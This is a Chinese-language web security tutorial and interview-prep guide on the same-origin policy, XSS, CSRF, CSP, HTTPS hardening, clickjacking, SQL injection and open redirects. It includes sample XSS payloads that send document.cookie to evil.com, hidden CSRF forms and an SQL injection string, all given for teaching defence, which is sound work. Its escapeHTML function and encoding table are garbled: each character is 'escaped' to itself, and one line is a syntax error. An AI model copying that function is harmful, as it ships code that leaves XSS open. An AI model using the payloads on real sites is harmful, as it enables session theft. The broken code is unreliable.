主题
Web 安全
同源策略(Same-Origin Policy)
定义
同源策略是浏览器最基本的安全机制——限制一个源的文档或脚本与另一个源的资源进行交互。
同源的定义:协议(Protocol)+ 域名(Host)+ 端口(Port)三者完全相同
https://example.com/page
├─ https://example.com/other ✅ 同源
├─ http://example.com/page ❌ 协议不同(https vs http)
├─ https://api.example.com/page ❌ 域名不同(子域名也算不同源)
├─ https://example.com:8080/page ❌ 端口不同(443 vs 8080)
└─ https://example.com:443/page ✅ 同源(443 是 HTTPS 默认端口)限制范围
同源策略限制的行为:
DOM 访问:
❌ 跨域 iframe 的 DOM 不可读写
❌ window.open 打开的跨域窗口 DOM 不可读写
数据存储:
❌ 跨域不可读取 Cookie / LocalStorage / IndexedDB
网络请求:
❌ XMLHttpRequest / fetch 跨域请求的响应被拦截(请求会发出,但 JS 读不到响应)
不受限制的行为:
✅ <script src="..."> 加载并执行跨域脚本
✅ <link href="..."> 加载跨域样式表
✅ <img src="..."> 加载跨域图片
✅ <video> / <audio> 加载跨域媒体
✅ <iframe src="..."> 嵌入跨域页面(但不能读取其 DOM)
✅ <form action="..."> 提交到跨域地址突破同源策略的方式
方式 适用场景 原理
────── ──────── ─────
CORS 前后端分离 API 调用 服务器通过响应头授权跨域访问
JSONP 兼容老浏览器的 GET 请求 利用 <script> 标签不受同源限制
postMessage 跨域 iframe / 窗口通信 HTML5 提供的安全通信 API
document.domain 同父域的子域间通信 将子域的 domain 设为共同父域
WebSocket 实时双向通信 协议本身不受同源限制
代理服务器 所有场景 同源服务器转发请求(Nginx 反向代理)js
// CORS —— 服务器设置响应头
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
// JSONP —— 利用 <script> 回调
function handleData(data) { console.log(data); }
const script = document.createElement('script');
script.src = 'https://api.example.com/data?callback=handleData';
document.body.appendChild(script);
// postMessage —— 跨窗口通信
// 发送方
targetWindow.postMessage({ type: 'greeting', payload: 'hello' }, 'https://other.com');
// 接收方
window.addEventListener('message', (event) => {
if (event.origin !== 'https://trusted.com') return;
console.log(event.data);
});
// document.domain —— 子域共享(已废弃,不推荐)
// a.example.com 和 b.example.com 都设置:
document.domain = 'example.com';XSS(跨站脚本攻击)
XSS(Cross-Site Scripting)是指攻击者将恶意脚本注入到受信任的网页中,在用户浏览器中执行。
攻击流程
XSS 攻击全流程
攻击者 受害网站 受害用户
| | |
|── 注入恶意脚本 ───────→ | |
| (评论/URL参数/DOM) | |
| | |
| |←── 正常访问页面 ─────────|
| | |
| |── 返回含恶意脚本的页面 ──→|
| | |
| | 浏览器执行恶意脚本
| | ├─ 窃取 Cookie/Token
| | ├─ 键盘记录
| | ├─ 篡改页面内容
| | └─ 发起伪造请求
| | |
|←──── 敏感数据被发送到攻击者服务器 ─────────────────|三种 XSS 类型
1. 存储型 XSS(Stored XSS)
恶意脚本被持久化存储在服务器(数据库),所有访问该页面的用户都会受害:
攻击者 服务器数据库 受害用户
| | |
|── POST /comment ──→ | |
| body: <script> | |
| document.cookie | |
| </script> | |
| | |
| 恶意内容存入数据库 ──→ | |
| | |
| |←── GET /comments ────────|
| |── 返回包含恶意脚本的内容 ─→|
| | |
| | 浏览器执行 <script>
|←────────── Cookie 发送到攻击者 ───────────────────|html
<!-- 攻击者在评论框提交 -->
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
<!-- 其他用户访问评论页面时,浏览器渲染 -->
<div class="comment">
<script>
fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>
</div>
<!-- 脚本自动执行,Cookie 被盗 -->2. 反射型 XSS(Reflected XSS)
恶意脚本通过 URL 参数传入,服务器将参数未经转义直接拼入 HTML 返回:
html
<!-- 攻击者构造恶意 URL 并诱导用户点击 -->
https://example.com/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
<!-- 服务器端模板未转义 -->
<h2>搜索结果:${req.query.q}</h2>
<!-- 渲染为 -->
<h2>搜索结果:<script>fetch('https://evil.com/steal?c='+document.cookie)</script></h2>3. DOM 型 XSS(DOM-based XSS)
恶意脚本完全在客户端执行,不经过服务器。攻击通过操纵 DOM API 实现:
js
// 漏洞代码:直接将 URL 参数插入 DOM
const query = new URLSearchParams(location.search).get('q');
document.getElementById('output').innerHTML = query;
// 攻击者构造 URL
// https://example.com/page?q=<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
// 浏览器将恶意 HTML 插入 DOM,onerror 回调触发攻击三种 XSS 对比
存储型 反射型 DOM 型
────── ────── ──────
恶意脚本存储位置 服务器数据库 URL 参数 URL 参数/片段
是否经过服务器 ✅ 存储+返回 ✅ 即时返回 ❌ 纯客户端
触发方式 访问含恶意内容的页面 点击恶意链接 点击恶意链接
影响范围 所有访问该页面的用户 点击链接的用户 点击链接的用户
危害程度 ⭐⭐⭐ 最高 ⭐⭐ 中等 ⭐⭐ 中等
典型场景 评论区/论坛/留言板 搜索页/错误页 SPA 前端路由XSS 防御措施
1. 输出编码(Output Encoding)
根据输出上下文选择不同的编码方式:
上下文 编码方式 示例
────── ──────── ─────
HTML 正文 HTML Entity 编码 < → < > → > & → &
HTML 属性 HTML Entity 编码 + 引号包裹 " → " ' → '
JavaScript JS Unicode 转义 ' → \u0027 " → \u0022
URL 参数 URL 编码 < → %3C > → %3E
CSS CSS 转义 ( → \28 ) → \29js
function escapeHTML(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
const userInput = '<script>alert("xss")</script>';
element.innerHTML = escapeHTML(userInput);
// 渲染为文本而非可执行脚本2. CSP(Content Security Policy)
通过 HTTP 响应头限制页面可执行的脚本来源(详见后文 CSP 章节):
Content-Security-Policy: script-src 'self' https://cdn.example.com3. HttpOnly Cookie
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax
HttpOnly → JS 无法通过 document.cookie 读取
→ 即使 XSS 成功,也窃取不到 Cookie
Secure → 仅通过 HTTPS 传输4. DOMPurify(富文本净化)
js
import DOMPurify from 'dompurify';
const dirty = '<img src=x onerror=alert(1)><b>Bold</b><script>evil()</script>';
const clean = DOMPurify.sanitize(dirty);
// 结果: <b>Bold</b>
// <script> 和 onerror 被移除,安全的 <b> 标签保留5. 避免危险的 DOM API
危险 API(直接解析 HTML) 安全替代方案
────────────────────── ──────────
element.innerHTML = userInput element.textContent = userInput
document.write(userInput) 避免使用 document.write
v-html / dangerouslySetInnerHTML 配合 DOMPurify 使用
eval(userInput) 杜绝使用 evalCSRF(跨站请求伪造)
CSRF(Cross-Site Request Forgery)利用用户已登录的身份,在用户不知情的情况下,以用户名义发送恶意请求。
攻击流程
CSRF 攻击全流程
受害用户 银行网站(bank.com) 恶意网站(evil.com)
| | |
|── 1.正常登录 ─────────→ | |
| | |
|←─ 2.返回 Cookie ───── | |
| Set-Cookie: session=xxx | |
| | |
|── 3.访问恶意网站 ──────────────────────────────────────→ |
| | |
|←─ 4.返回恶意页面 ──────────────────────────────────── |
| <img src="bank.com/ | |
| transfer?to=hacker | |
| &amount=10000"> | |
| | |
|── 5.浏览器自动携带 ──────→ | |
| bank.com 的 Cookie | |
| 发起转账请求 | |
| | |
| 6.服务器验证 Cookie 有效 | |
| 执行转账 ✅ | |
| | |
| 用户完全不知情! | |攻击示例
html
<!-- 恶意网站 evil.com 的页面 -->
<!-- 方式 1:自动发起 GET 请求(图片标签) -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" style="display:none">
<!-- 方式 2:自动提交 POST 表单 -->
<form action="https://bank.com/transfer" method="POST" id="hack-form">
<input type="hidden" name="to" value="hacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('hack-form').submit();</script>
<!-- 方式 3:利用 <a> 标签诱导点击 -->
<a href="https://bank.com/transfer?to=hacker&amount=10000">
恭喜中奖!点击领取 →
</a>CSRF 的核心条件
CSRF 攻击成功的前提:
1. 用户已登录目标网站(浏览器保存了有效 Cookie)
2. 目标网站仅依赖 Cookie 验证身份
3. 攻击者能预测请求的所有参数(没有不可预测的 Token)
4. 浏览器会自动在跨站请求中携带 Cookie
核心理解:
CSRF 不需要窃取 Cookie —— 它利用的是浏览器"自动携带 Cookie"的机制
攻击者无法读取响应 —— 但对于转账、改密码这类操作,不需要读取响应CSRF 防御措施
1. SameSite Cookie
Set-Cookie: session=xxx; SameSite=Lax; Secure; HttpOnly
SameSite=Strict 完全禁止跨站携带 → 最安全,但影响正常跳转体验
SameSite=Lax 只允许顶级导航 GET 携带 → 默认值,阻止了 POST/img/iframe 等 CSRF
SameSite=None 允许所有跨站携带 → 需配合 Secure,用于第三方场景
Chrome 80+ 默认 SameSite=Lax:
→ <img src="bank.com/transfer"> ❌ 不携带 Cookie
→ <form method="POST" action="bank"> ❌ 不携带 Cookie
→ <a href="bank.com">点击</a> ✅ 携带 Cookie(顶级导航 GET)2. CSRF Token
原理:服务器生成一个不可预测的 Token,嵌入表单或请求头,
攻击者无法获取此 Token,因此无法构造有效请求。
流程:
1. 用户访问页面 → 服务器生成随机 Token 存入 Session
2. Token 嵌入表单隐藏字段 或 放入 meta 标签
3. 用户提交请求 → 携带 Token
4. 服务器验证 Token 是否匹配 Session 中的值html
<!-- 服务器渲染的表单 -->
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="a8f3b2e1-随机Token">
<input type="text" name="to">
<input type="number" name="amount">
<button type="submit">转账</button>
</form>js
// SPA 中通过 meta 标签获取 Token
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken,
},
body: JSON.stringify({ to: 'friend', amount: 100 }),
});3. Referer / Origin 检查
服务器检查请求头中的来源:
Origin: https://bank.com ← 只有协议+域名,POST/PUT/DELETE 等请求携带
Referer: https://bank.com/page ← 完整 URL(可能因隐私策略被裁剪或省略)
服务器端验证:
if (request.headers.origin !== 'https://bank.com') {
return 403 Forbidden;
}
局限性:
- Referer 可能被浏览器隐私策略省略(Referrer-Policy: no-referrer)
- 某些场景没有 Origin 头(如从 HTTPS 页面到 HTTP 页面)
- 建议作为辅助手段,不作为唯一防御4. 双重 Cookie 验证(Double Submit Cookie)
原理:
攻击者可以利用浏览器自动携带 Cookie,
但攻击者无法读取目标站点的 Cookie 值。
流程:
1. 服务器设置一个随机 Cookie:Set-Cookie: csrf=random123
2. 前端 JS 读取该 Cookie,放入请求头或请求体
3. 服务器比较 Cookie 中的值和请求中的值是否一致
为什么有效:
- 浏览器会自动携带 Cookie → Cookie 中有 csrf=random123
- 攻击者页面无法读取 bank.com 的 Cookie(同源策略)
- 攻击者无法在请求体/请求头中放入正确的 csrf 值
- 服务器发现 Cookie 中的值 ≠ 请求体中的值 → 拒绝CSRF 防御方案对比
方案 安全性 实现复杂度 适用场景
────── ────── ────────── ─────────
SameSite Cookie ⭐⭐⭐ 低 现代浏览器,首选方案
CSRF Token ⭐⭐⭐ 中 传统 MPA,服务端渲染
双重 Cookie ⭐⭐ 中 无 Session 的 SPA
Referer 检查 ⭐⭐ 低 辅助方案,不可单独使用CSP(内容安全策略)
CSP(Content Security Policy)通过 HTTP 响应头 声明页面允许加载的资源来源,从根本上防御 XSS:
核心思想:
白名单机制 —— 只有声明允许的来源才能加载/执行
即使攻击者成功注入了 <script>,如果来源不在白名单中,浏览器拒绝执行指令详解
Content-Security-Policy: <指令> <来源列表>; <指令> <来源列表>; ...
核心指令:
──────────────────────────────────────────────────────────────────
default-src 默认策略(其他指令未指定时的 fallback)
script-src JavaScript 来源
style-src CSS 来源
img-src 图片来源
connect-src XHR / fetch / WebSocket 连接目标
font-src 字体文件来源
media-src 音视频来源
frame-src iframe 来源
object-src <object> / <embed> / <applet> 来源
base-uri <base> 标签的 href 限制
form-action <form> 的 action 提交目标
frame-ancestors 谁可以用 iframe 嵌入本页面(替代 X-Frame-Options)
来源关键字:
──────────────────────────────────────────────────────────────────
'self' 同源
'none' 禁止所有来源
'unsafe-inline' 允许内联脚本/样式(不推荐,削弱 CSP 防护)
'unsafe-eval' 允许 eval()(不推荐)
'strict-dynamic' 信任的脚本可以加载其他脚本(用于复杂 SPA)
https: 所有 HTTPS 来源
data: data: URI
blob: blob: URI
*.example.com 通配符域名nonce 方式
每次页面请求生成一个随机 nonce(一次性随机数),
只有携带正确 nonce 的内联脚本才被允许执行:
响应头:
Content-Security-Policy: script-src 'nonce-abc123随机值'
HTML 中:
<script nonce="abc123随机值">
// ✅ nonce 匹配,允许执行
console.log('合法脚本');
</script>
<script>
// ❌ 没有 nonce,拒绝执行
alert('被注入的恶意脚本');
</script>
关键:nonce 每次请求都不同,攻击者无法预测hash 方式
对内联脚本内容取哈希,只有哈希匹配的脚本才被执行:
响应头:
Content-Security-Policy: script-src 'sha256-BASE64_HASH'
HTML 中:
<script>console.log('已知的合法脚本')</script>
→ 浏览器计算该脚本内容的 SHA-256,与策略中的 hash 比较
→ 匹配则执行,不匹配则拒绝
适用场景:脚本内容固定不变(如内联的初始化代码)report-uri / report-to 报告
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
Report-Only 模式:
不阻止违规行为,只上报 → 用于灰度测试 CSP 策略
违规时浏览器自动 POST 报告:
POST /csp-report
{
"csp-report": {
"document-uri": "https://example.com/page",
"violated-directive": "script-src 'self'",
"blocked-uri": "https://evil.com/malware.js",
"original-policy": "default-src 'self'; report-uri /csp-report"
}
}
推荐流程:
1. 先用 Report-Only 收集违规报告
2. 根据报告调整策略(放行合法来源)
3. 确认无误后切换为强制模式(Content-Security-Policy)严格 CSP 配置示例
基于 nonce 的严格配置(推荐):
──────────────────────────
Content-Security-Policy:
default-src 'none';
script-src 'nonce-{random}' 'strict-dynamic';
style-src 'self' 'nonce-{random}';
img-src 'self' https://cdn.example.com data:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
report-uri /csp-report;
各指令解读:
default-src 'none' → 默认禁止一切
script-src 'nonce-{random}' → 只执行带正确 nonce 的脚本
'strict-dynamic' → 被信任的脚本可以动态加载其他脚本
frame-ancestors 'none' → 禁止被 iframe 嵌入(防点击劫持)
base-uri 'self' → 防止 <base> 标签劫持
form-action 'self' → 表单只能提交到同源HTTPS 安全加固
HTTPS/TLS 的基础原理(握手流程、证书验证等)已在 http.md 中详述,本节聚焦安全加固相关内容。
HSTS(HTTP Strict Transport Security)
问题:用户首次访问可能使用 HTTP,存在被中间人劫持的窗口
用户输入 example.com
↓
浏览器请求 http://example.com
↓
中间人劫持(SSL 剥离攻击)← 危险!
↓
用户以为在用 HTTPS,实际是 HTTP
HSTS 解决方案:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
max-age=31536000 浏览器在一年内自动将 HTTP 升级为 HTTPS
includeSubDomains 所有子域名也强制 HTTPS
preload 申请加入浏览器预加载列表(首次访问也受保护)
HSTS Preload List:
浏览器内置的 HSTS 域名列表,收录后即使用户从未访问过也强制 HTTPS
申请地址:https://hstspreload.org证书钉扎(Certificate Pinning)
问题:如果 CA 被入侵,攻击者可以签发伪造证书
证书钉扎:将服务器证书的公钥哈希固定在客户端
→ 即使攻击者有 CA 签发的伪造证书,公钥哈希不匹配也会被拒绝
HTTP 方式(已废弃):
Public-Key-Pins: pin-sha256="base64=="; max-age=5184000
→ 配置错误会导致网站无法访问,风险太高
现代替代方案:
Certificate Transparency (CT)
→ CA 签发的所有证书必须记录在公开的 CT 日志中
→ 浏览器验证证书是否在 CT 日志中
→ 任何人都可以监控日志发现可疑证书
Expect-CT: max-age=86400, enforce, report-uri="https://example.com/ct-report"
→ 要求证书必须有 CT 证明混合内容(Mixed Content)
问题:HTTPS 页面加载 HTTP 资源
主动混合内容(Active Mixed Content)—— 默认阻止:
❌ <script src="http://...">
❌ <link href="http://...">(CSS)
❌ <iframe src="http://...">
❌ fetch('http://...')
→ 能执行代码或影响页面安全性的资源
被动混合内容(Passive Mixed Content)—— 警告但允许:
⚠️ <img src="http://...">
⚠️ <video src="http://...">
⚠️ <audio src="http://...">
→ 不能执行代码,但可能被篡改内容
解决方案:
1. 所有资源使用 HTTPS
2. 使用协议相对 URL://cdn.example.com/script.js
3. CSP 升级指令:
Content-Security-Policy: upgrade-insecure-requests
→ 自动将页面中所有 HTTP 请求升级为 HTTPS其他安全议题
点击劫持(Clickjacking)
攻击原理:
攻击者将目标网站用透明 iframe 嵌入恶意页面,
用户以为在点击恶意页面的按钮,实际点击的是透明 iframe 中的操作。
恶意页面
┌──────────────────────────────────┐
│ │
│ "点击领取 iPhone 16 Pro Max" │ ← 用户看到的按钮
│ ┌──────────────────────────┐ │
│ │ 透明 iframe (opacity:0) │ │
│ │ ┌────────────────────┐ │ │
│ │ │ [确认转账 ¥10000] │ │ │ ← 实际点击的按钮
│ │ └────────────────────┘ │ │
│ └──────────────────────────┘ │
│ │
└──────────────────────────────────┘
防御:方案 1:X-Frame-Options 响应头
X-Frame-Options: DENY 完全禁止被 iframe 嵌入
X-Frame-Options: SAMEORIGIN 只允许同源页面嵌入
方案 2:CSP frame-ancestors(推荐,更灵活)
Content-Security-Policy: frame-ancestors 'none' 等同 DENY
Content-Security-Policy: frame-ancestors 'self' 等同 SAMEORIGIN
Content-Security-Policy: frame-ancestors https://trusted.com 指定允许的源
方案 3:JS 防御(兜底)js
if (window.top !== window.self) {
window.top.location = window.self.location;
}SQL 注入
攻击原理:
用户输入被直接拼接到 SQL 语句中,攻击者可以构造恶意输入来操纵数据库。
用户名输入:admin' OR '1'='1' --
拼接后的 SQL:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' --' AND password = '...'
↑ 条件永真 ↑ 后面被注释掉
→ 绕过密码验证,返回所有用户数据js
// ❌ 字符串拼接 SQL(严重漏洞)
const query = `SELECT * FROM users WHERE username = '${username}'`;
// ✅ 参数化查询(Parameterized Query)
const query = 'SELECT * FROM users WHERE username = ?';
db.execute(query, [username]);
// ✅ 使用 ORM(如 Prisma / Sequelize)
const user = await prisma.user.findUnique({
where: { username },
});开放重定向(Open Redirect)
攻击原理:
网站提供重定向功能,攻击者利用此功能将用户重定向到恶意网站。
正常:https://example.com/login?redirect=/dashboard
恶意:https://example.com/login?redirect=https://evil.com/phishing
用户看到的是 example.com 的域名,放心点击
→ 登录后被跳转到钓鱼网站js
// ❌ 未验证重定向 URL
app.get('/redirect', (req, res) => {
res.redirect(req.query.url);
});
// ✅ 白名单验证
const ALLOWED_HOSTS = ['example.com', 'app.example.com'];
app.get('/redirect', (req, res) => {
const url = new URL(req.query.url, 'https://example.com');
if (!ALLOWED_HOSTS.includes(url.hostname)) {
return res.status(400).send('非法重定向');
}
res.redirect(url.toString());
});
// ✅ 只允许相对路径
app.get('/redirect', (req, res) => {
const path = req.query.path;
if (path.startsWith('/') && !path.startsWith('//')) {
return res.redirect(path);
}
res.redirect('/');
});依赖安全
前端项目依赖大量 npm 包,任何一个包被投毒都可能导致安全问题:
事件 影响
────── ─────
event-stream 事件 (2018) 恶意代码窃取比特币钱包
ua-parser-js 被劫持 (2021) 植入挖矿和密码窃取代码
colors.js 自毁 (2022) 作者故意破坏包功能
防护工具:bash
# npm 内置审计
npm audit
npm audit fix
# 使用 Snyk 扫描
npx snyk test
npx snyk monitor
# 锁定依赖版本
# package-lock.json / yarn.lock / pnpm-lock.yaml 必须提交到版本控制
# CI/CD 中集成安全扫描
# GitHub Dependabot / GitLab Dependency Scanning最佳实践:
1. 定期运行 npm audit,及时修复已知漏洞
2. 使用 lock 文件锁定依赖版本
3. 在 CI/CD 中集成依赖安全扫描
4. 审慎添加新依赖——检查维护者、下载量、最后更新时间
5. 使用 npm provenance 验证包的构建来源Subresource Integrity(SRI)
问题:从 CDN 加载的脚本可能被篡改(CDN 被入侵或劫持)
SRI 解决方案:在 <script> / <link> 上指定资源的哈希值,
浏览器下载后比对哈希,不匹配则拒绝执行。html
<script
src="https://cdn.example.com/lib.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>
<link
rel="stylesheet"
href="https://cdn.example.com/style.css"
integrity="sha256-abcdef123456..."
crossorigin="anonymous">bash
# 生成 SRI 哈希
openssl dgst -sha384 -binary lib.js | openssl base64 -A
# 或使用 https://www.srihash.org/安全响应头完整清单
| 响应头 | 推荐配置 | 作用 |
|---|---|---|
Content-Security-Policy | default-src 'none'; script-src 'nonce-{random}' 'strict-dynamic'; style-src 'self' 'nonce-{random}'; img-src 'self' data: https:; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self' | XSS 防御核心,白名单控制资源加载 |
Strict-Transport-Security | max-age=31536000; includeSubDomains; preload | 强制 HTTPS,防止 SSL 剥离 |
X-Content-Type-Options | nosniff | 禁止浏览器 MIME 嗅探,防止将非脚本文件当作脚本执行 |
X-Frame-Options | DENY 或 SAMEORIGIN | 防止点击劫持(被 CSP frame-ancestors 取代) |
X-XSS-Protection | 0 | 关闭浏览器内置 XSS 过滤器(已废弃,可能引入漏洞,用 CSP 替代) |
Referrer-Policy | strict-origin-when-cross-origin | 控制 Referer 头泄露程度,保护用户隐私 |
Permissions-Policy | camera=(), microphone=(), geolocation=() | 控制浏览器功能的使用权限(摄像头/麦克风/定位等) |
Cross-Origin-Opener-Policy | same-origin | 隔离浏览上下文,防止跨窗口攻击 |
Cross-Origin-Embedder-Policy | require-corp | 要求所有跨域资源显式授权,开启 SharedArrayBuffer 等高级 API |
Cross-Origin-Resource-Policy | same-origin | 防止资源被其他源嵌入 |
Cache-Control | 敏感页面:no-store;静态资源:max-age=31536000, immutable | 防止敏感信息被缓存 |
Nginx 安全头配置示例:
add_header Content-Security-Policy "default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self' data:; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;面试高频题
1. XSS 有哪几种类型?分别怎么防御?
XSS 分为三种:①存储型——恶意脚本存入服务器数据库(如评论区),所有访问该页面的用户都会触发,危害最大;②反射型——恶意脚本通过 URL 参数传入,服务器未转义直接拼入 HTML 返回,需诱导用户点击特定链接;③DOM 型——完全在客户端发生,JS 将 URL 参数通过 innerHTML 等危险 API 插入 DOM,不经过服务器。防御措施的核心是"不信任任何用户输入":①输出编码——根据上下文(HTML/JS/URL/CSS)对用户输入做相应转义;②CSP——设置 script-src 白名单,即使注入了 <script> 也不会执行;③HttpOnly Cookie——document.cookie 不可读,即使 XSS 成功也窃取不到会话 Cookie;④对富文本使用 DOMPurify 净化;⑤避免 innerHTML、eval、document.write 等危险 API,用 textContent 替代。
2. CSRF 的攻击原理是什么?和 XSS 有什么区别?
CSRF 利用浏览器"自动携带 Cookie"的机制——用户登录了银行网站后,浏览器保存了 Session Cookie;攻击者在恶意网站放一个 <img src="bank.com/transfer?to=hacker&amount=10000">,用户访问恶意网站时浏览器自动对 bank.com 发请求并携带 Cookie,服务器验证 Cookie 有效后执行了转账。攻击者不需要窃取 Cookie,也读不到响应,只需要"借用"用户的身份发请求。XSS vs CSRF 的核心区别:XSS 是在目标网站中执行恶意脚本(信任了不该信任的输入),可以做任何事;CSRF 是利用用户身份发起伪造请求(信任了不该信任的请求来源),只能发请求不能读响应。XSS 的危害更广,且 XSS 可以绕过几乎所有 CSRF 防御(因为 XSS 能读取 Token 和 Cookie)。
3. CSP 是如何防御 XSS 的?nonce 和 hash 方式有什么区别?
CSP 通过白名单机制限制页面可以加载和执行的资源来源。设置 script-src 'self' 后,只有同源的脚本可以执行,攻击者注入的内联 <script> 或外部恶意脚本都会被浏览器拒绝。nonce 方式:服务器每次请求生成一个随机 nonce 值放入响应头(script-src 'nonce-abc123'),只有 HTML 中标注了相同 nonce 的 <script nonce="abc123"> 才会执行,攻击者无法预测 nonce 值。hash 方式:对已知的内联脚本内容计算 SHA 哈希放入策略(script-src 'sha256-xxx'),浏览器对内联脚本算哈希并比对。区别在于:nonce 适合动态内容(每次请求不同),hash 适合固定不变的内联脚本;nonce 需要服务端每次生成并注入,hash 只需一次性计算。实践中推荐 nonce + strict-dynamic,兼顾安全性和灵活性。
4. 同源策略限制了哪些行为?有哪些合法的跨域方案?
同源策略限制三类行为:①DOM 访问——不能读写跨域 iframe/窗口的 DOM;②数据存储——不能读取跨域的 Cookie、LocalStorage、IndexedDB;③网络请求——跨域 XHR/fetch 的响应会被浏览器拦截(请求本身会发出)。但有些操作不受限制:<script>、<img>、<link>、<iframe> 可以加载跨域资源(但 JS 不能读取其内容)。合法的跨域方案:①CORS——服务器通过 Access-Control-Allow-Origin 等响应头授权,最标准的方案;②JSONP——利用 <script> 不受同源限制,只支持 GET,有安全风险;③postMessage——HTML5 API,用于跨窗口/跨 iframe 安全通信;④代理服务器——Nginx 反向代理或 Node.js 中间层转发请求,前端请求同源代理,代理转发到目标服务器。
5. 如何防止点击劫持?X-Frame-Options 和 CSP frame-ancestors 有什么区别?
点击劫持是攻击者用透明 iframe 覆盖在诱导性按钮上,用户以为点击了"领奖",实际触发了 iframe 中的"转账确认"。防御方案:①X-Frame-Options: DENY——完全禁止被 iframe 嵌入;②X-Frame-Options: SAMEORIGIN——只允许同源页面嵌入;③CSP frame-ancestors——更灵活,可以指定允许嵌入的源(frame-ancestors 'self' https://trusted.com)。两者区别:X-Frame-Options 是老方案,只支持 DENY 和 SAMEORIGIN,不能指定多个允许源;CSP frame-ancestors 是新标准,支持多个源、通配符,且优先级高于 X-Frame-Options。另外可以用 JS 做兜底检测(if (window.top !== window.self) top.location = self.location),但 JS 可能被攻击者通过 sandbox 属性禁用。推荐同时设置 X-Frame-Options 和 CSP frame-ancestors 以兼容旧浏览器。
追问思考
- 如果一个页面同时存在 XSS 漏洞,那么 CSRF Token 防御还有效吗?为什么说"XSS 是 CSRF 的天敌"?
SameSite=Lax是 Chrome 的默认值,但这是否意味着所有 CSRF 攻击都被阻止了?哪些 CSRF 场景仍然有效?- CSP 中的
'strict-dynamic'解决了什么问题?为什么 Google 推荐 nonce + strict-dynamic 作为最佳实践? Cross-Origin-Opener-Policy和Cross-Origin-Embedder-Policy分别解决什么安全问题?为什么启用SharedArrayBuffer需要这两个头?- 在 SPA(如 React/Vue)应用中,XSS 防御和传统 MPA 有什么不同?框架层面做了哪些自动防护,还有哪些需要开发者注意的坑?